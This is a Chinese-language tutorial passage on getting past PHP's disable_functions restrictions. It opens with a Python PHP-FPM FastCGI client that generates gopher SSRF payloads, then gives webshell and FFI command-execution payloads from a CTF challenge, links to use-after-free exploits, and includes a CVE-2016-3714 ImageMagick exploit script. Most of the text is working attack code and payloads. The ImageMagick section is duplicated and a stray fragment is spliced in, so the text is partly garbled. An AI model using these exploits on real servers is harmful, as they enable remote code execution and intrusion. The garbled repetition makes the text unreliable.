def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
使用脚本,运行下列命令
python fpm_ssrf.py -c '<?php echo `id`;exit;?>' -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
得到Gopher协议包数据
gopher://127.0.0.1:9000/_%01%01z1%00%08%00%00%00%01%00%00%00%00%00%00%01%04z1%01%E7%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04z1%00%00%00%00%01%05z1%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05z1%00%00%00%00
? 在打SSRF前,由于在服务端中Nginx和FPM分别会进行一次URL解码,所以上述得到的还要再编码一次才能使用
攻击Unix套接字模式下的PHP-FPM
上面讲的都是php-fpm通过TCP方式与nginx连接,那如果php-fpm通过unix套接字与nginx连接该怎么办
<?php
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
默认套接字的位置在/run/php/php7.3-fpm.sock(7.3是php版本号)
? 如果不在的话可以通过默认/etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径 或者 TCP模式的端口号 ? 当然,如果采用套接字的方式连接,我们暂时不能使用ssrf来攻击php-fpm,只能通过linux的数据流来进行数据传递,相对于tcp还是比较安全的 ? exp的话,把上面那个exp的最后三行改下就行了,如果是base64数据传输换成base64encode,如果直接传的话把gopher的字符串去掉。
蚁剑插件利用
拿下shell后无法执行命令
发现主机配置了FPM/FastCGI
我们便可以通过PHP-FPM绕过disable_functions来执行命令
发现PHP-FPM的接口地址是127.0.0.1:9000
配置插件
利用GC UAF
使用条件
- Linux系统
- PHP版本 -->7.0-7.3all version to date
原理简述
此漏洞利用PHP垃圾收集器中存在三年的一个bug,通过PHP垃圾收集器中堆溢出来绕过disable_function并执行系统命令
贴脚本https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
脚本利用
先拿到shell,然后上传脚本
这里的exp.php中的开头改成了
pwn($_POST['whoami']);
然后包含以下这个php文件,POST传参 /readflag
利用Backtrace UAF
使用条件
- Linux系统
- PHP版本–>7.0-7.2all version to date
- 7.3<7.3.15 (released 20 Feb 2020)
- 7.4<7.43(released 20 Feb 2020)
原理简述
? 该漏洞利用在debug_backtrace()函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。
利用脚本:https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
脚本利用
同上,在确认存在disable_function后,找到一个目录有上传文件的权限,上传脚本
蚁剑插件直接使用
选择模式选择JSON_Serializer_UAF
利用 SplDoublyLinkedList UAC
使用条件
- PHP v7.4.10及其之前版本
- PHP v8.0(Alpha)
原理简述
? 2020年9月20号有人在 bugs.php.net 上发布了一个新的 UAF BUG,报告人已经写出了 bypass disabled functions 的利用脚本并且私发了给官方,不过官方似乎还没有修复,原因不明。
? PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等
传送门:https://xz.aliyun.com/t/8355#toc-3
使用方法
也是在确认存在disable_function后,找到一个目录有上传文件的权限,上传脚本
利用FFI扩展执行命令
使用条件
- Linux系统
- PHP>=7.4
- 开启了FFI扩展且ffi.enable=true
原理简述
? PHP7.4的FFI(Foreign Function Interface),即外部函数接口,允许从用户在PHP代码中去调用C代码。
? 分为声明和调用两步,首先使用FFI::cdef()函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:
$ffi = FFI::cdef("int system(char* command);");
这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:
$ffi->system("ls / > /tmp/res.txt");
? 由于system函数执行命令无回显,所以需要把结果写入到有权限的目录中,最后再使用
echo file_get_contents(“/tmp/res.txt”);查看执行结果
题目复现
[极客大挑战 2020]FighterFightsInvincibly
查看源码,发现
$_REQUEST[‘fighter’]($_REQUEST[‘fights’],$_REQUEST[‘invincibly’]);
联想到create_function代码注入:
create_function(string $args,string $code)
string $args声明的函数变量部分 string $code执行的方法代码部分
令fighter=create_function`,`invincibly=;}eval($_POST[whoami]);/*
payload:/?fighter=create_function&fights=&invincibly=;}eval($_POST[tokens]);/*
用蚁剑连上,发现无法执行命令。查看phpinfo
FFI处于enable状态
利用FFI调用C库的system函数
/?fighter=create_function&fights=&invincibly=;}$ffi=FFI::cdef("int system(const char *command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*
? 在C库中的system函数执行没有回显,这里写入到tmp等有写入权限的目录中,最后再用file_get_contents来查看执行结果。但是在这道题执行之后似乎无效
利用FFI调用C库的popen函数
? C库的system函数调用shell命令,只能获取到shell命令的返回值,不能获得shell命令的输出结果,如果想获取输出结果可以使用popen函数来实现
FILE *popen(const char* command,const char* type);
? popen()函数会调用foke()产生子进程,然后从子进程中调用/bin/sh -c来执行参数command的指令
参数type可使用"r"表示读取,"w"代表写入。
? 依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。
以下利用C库的popen()函数来执行命令,但是要读取到结果还需要C库的fgetc等函数。
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls / -lah","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
利用FFI调用PHP源码中的函数
? 其次,我们还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出,payload如下:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*
执行/readflag,但是不知道为啥拿到的flag缺了五个字,问了rabbit师傅,师傅给了我这个
? 这意味着/readflag就只能拿到37个字节,因为是在buu的靶场上做的题目,可能比赛的时候本身flag就是只有37个字节吧!
利用ImageMagick
使用条件
- 目标主机安装了漏洞版本的imagemagick(<=3.3.0)
- 安装了php-imagick拓展并在php.ini中启用
- 编写php通过new imagick对象的方式来处理图片等格式文件
- PHP>=5.1
原理简述
? 利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的一个漏洞(CVE-2016-3714)。漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick,可以尝试一下。
漏洞复现
使用docker镜像搭建环境
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
访问127.0.0.1:8000/phpinfo.php
发现使用了imagick拓展
将此利用脚本上传到主机上有权限的目录
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
然后包含该脚本并传参执行命令
参考:
admin. 绕过Disable Functions来搞事情[EB/OL]. [2021-8-1]
Mi1k7ea.浅谈几种绕过disable_functions的方法[EB/OL]. [2021-8-1]
HP>=5.1
原理简述
? 利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的一个漏洞(CVE-2016-3714)。漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick,可以尝试一下。
漏洞复现
使用docker镜像搭建环境
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
访问127.0.0.1:8000/phpinfo.php
[外链图片转存中…(img-e6oW9DPV-1663843798858)]
发现使用了imagick拓展
将此利用脚本上传到主机上有权限的目录
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
然后包含该脚本并传参执行命令
参考:
admin. 绕过Disable Functions来搞事情[EB/OL]. [2021-8-1]
Mi1k7ea.浅谈几种绕过disable_functions的方法[EB/OL]. [2021-8-1]
|